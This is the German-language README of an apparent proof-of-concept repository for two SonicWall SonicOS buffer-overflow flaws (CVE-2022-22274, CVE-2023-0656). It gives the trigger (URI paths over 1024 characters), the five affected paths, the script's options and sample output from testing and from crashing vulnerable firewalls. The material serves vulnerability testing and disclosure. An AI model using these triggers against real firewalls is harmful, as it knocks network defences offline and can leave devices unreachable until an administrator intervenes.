
Proof-of-Concept-Exploit für SonicWall SonicOS Stack-basierte Pufferüberläufe (CVE-2022-22274, CVE-2023-0656) mittels präparierter HTTP-Anfragen, der sicheres Testen oder Ausnutzung zum Absturz anfälliger Firewalls ermöglicht.

Am 24. März 2022 veröffentlichte SonicWall eine Sicherheitswarnung mit folgenden Details:
Eine stapelbasierte Pufferüberlauf-Schwachstelle in der SonicOS über HTTP-Anfragen ermöglicht es einem entfernten, nicht authentifizierten Angreifer, einen Denial-of-Service (DoS) zu verursachen oder potenziell eine Codeausführung in der Firewall zu erreichen.
HINWEIS: Diese Schwachstelle betrifft NUR die „Web Management“-Schnittstelle, die SonicOS SSLVPN-Schnittstelle ist nicht betroffen.
Am 2. März 2023 veröffentlichte SonicWall eine weitere, ähnliche Sicherheitswarnung:
Eine stapelbasierte Pufferüberlauf-Schwachstelle in der SonicOS ermöglicht es einem entfernten, nicht authentifizierten Angreifer, einen Denial-of-Service (DoS) zu verursachen, was zum Absturz einer betroffenen Firewall führen könnte.
HINWEIS: Diese Schwachstelle betrifft NUR die „Web Management“-Schnittstelle, die SonicOS SSLVPN-Schnittstelle ist nicht betroffen.
Beide Probleme hängen mit demselben anfälligen Codemuster zusammen und verwenden dieselbe Exploit-Nutzlast, werden jedoch an verschiedenen URI-Pfaden ausgelöst.
Der Pufferüberlauf wird über eine HTTP-Anfrage mit einem URI-Pfad ausgelöst, der länger als 1024 Zeichen ist. CVE-2022-22274 kann über /resources/ oder über den Advanced Threat Protection URI-Pfad (/atp/ falls aktiviert oder // falls deaktiviert) ausgenutzt werden. CVE-2023-0656 kann über /stats/ oder /Security_Services ausgenutzt werden.
Dieses Repository enthält ein Proof-of-Concept-Skript, um ein Ziel auf Ausnutzbarkeit an allen vier URI-Pfaden zu testen. Es führt standardmäßig einen sicheren Test durch, hat aber auch die Möglichkeit, die Fehler auszunutzen und das Ziel zum Absturz zu bringen.
HINWEIS: In der Standardkonfiguration führen 3 aufeinanderfolgende Abstürze innerhalb kurzer Zeit dazu, dass SonicOS das Gerät in den Debug-Modus neu startet und es nicht erreichbar ist, bis ein Administrator es wieder online bringt. Verwenden Sie es verantwortungsbewusst!
Installieren Sie Python 3 und führen Sie python -m pip install -y argparse aus.
usage: poc.py [-h] [-t] [-x {1,2,3,4,5}] [-s] target
positional arguments:
target hostname[:port] (port defaults to 443)
options:
-h, --help show this help message and exit
-t, --test safely test for vulnerability (default action)
-x {1,2,3,4,5}, --exploit {1,2,3,4,5}
exploit the target (trigger a crash). 1=/resources/ 2=// 3=/atp/ 4=/stats/ 5=/Security_Services
-s, --skip-header-check
skip initial check for SonicWALL response header
Testen eines anfälligen Ziels:
$ ./poc.py 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at //
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[+] Target looks vulnerable! (redirected)
[*] Testing CVE-2023-0656 at /Security_Services
[+] Target looks vulnerable! (redirected)
Ausnutzen eines anfälligen Ziels:
$ ./poc.py -x 1 192.168.50.29
[*] Checking https://192.168.50.29:443
[+] Confirmed target is running SonicOS
[*] Triggering exploit at /resources/
[+] Exploit succeeded! (target unavailable)
Testen und Ausnutzen eines gepatchten Ziels:
$ ./poc.py -tx 4 192.168.50.31
[*] Checking https://192.168.50.31:443
[+] Confirmed target is running SonicOS
[*] Testing CVE-2022-22274 at /resources/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at //
[-] Target appears to be patched (empty response)
[*] Testing CVE-2022-22274 at /atp/
[-] Target does not appear to be affected (HTTP 404)
[*] Testing CVE-2023-0656 at /stats/
[-] Target appears to be patched (empty response)
[*] Testing CVE-2023-0656 at /Security_Services
[-] Target appears to be patched (empty response)
[*] Triggering exploit at /stats/
[-] Exploit failed (target responded)
Dieses Projekt ist unter der GNU GPL 3.0-Lizenz lizenziert.